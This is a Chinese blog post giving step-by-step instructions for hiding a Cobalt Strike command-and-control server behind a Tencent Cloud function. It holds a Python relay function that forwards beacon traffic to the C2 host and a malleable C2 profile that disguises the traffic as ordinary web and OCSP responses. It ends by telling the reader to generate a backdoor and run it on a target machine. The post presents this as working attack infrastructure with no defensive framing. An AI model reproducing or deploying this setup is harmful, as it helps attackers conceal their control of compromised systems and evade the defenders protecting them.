0
点赞
收藏
分享

微信扫一扫

云函数隐匿C2服务器

爱我中华8898 2022-03-11 阅读 59

第一步,创建云函数

登录腾讯云平台,访问云函数功能链接:https://console.cloud.tencent.com/scf/list?rid=8&ns=default。点击新建,创建方式选择自定义创建。函数名称可以自定义进行设置,主要是函数代码部分,将下面内容复制到函数代码中:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标(如果使用443将http改为https即可)
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

C2的值填写c2服务器地址就可以了,后面也不再需要增加:80:443,点击完成后,云端会部署函数。

创建完成。

选择第二个功能:触发管理,创建触发器。触发版本选择$LATEST,触发版本选择API网关触发,其余的就不需要动了,点击提交

触发器创建完成,点击API服务名,进入到管理API页面,在刚新建的API上,点击编辑。在编辑API页面中,将路径改为/,点击立即完成-发布服务即可。

二、 服务器端新增 p.profile文件 (放在cs跟目录下);将一下代码复制进去;

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

运行cs : ./teamserver ip 密码 p.profile

三、设置监听器

管理API页面中,点击我们刚创建的APIid,进入到api的基本信息页面,我们要使用的是默认访问地址,用在cobalt strike创建监听器时使用。创建监听器时,我选择的是https,然后在HTTP HostsHTTP Host(stager)填入之前复制的地址。(这里是否选择http协议,根据你函数里的类型来选择)

 

 

监听器创建完成后,生成后门程序,在靶机运行既可上线。

举报

相关推荐

0 条评论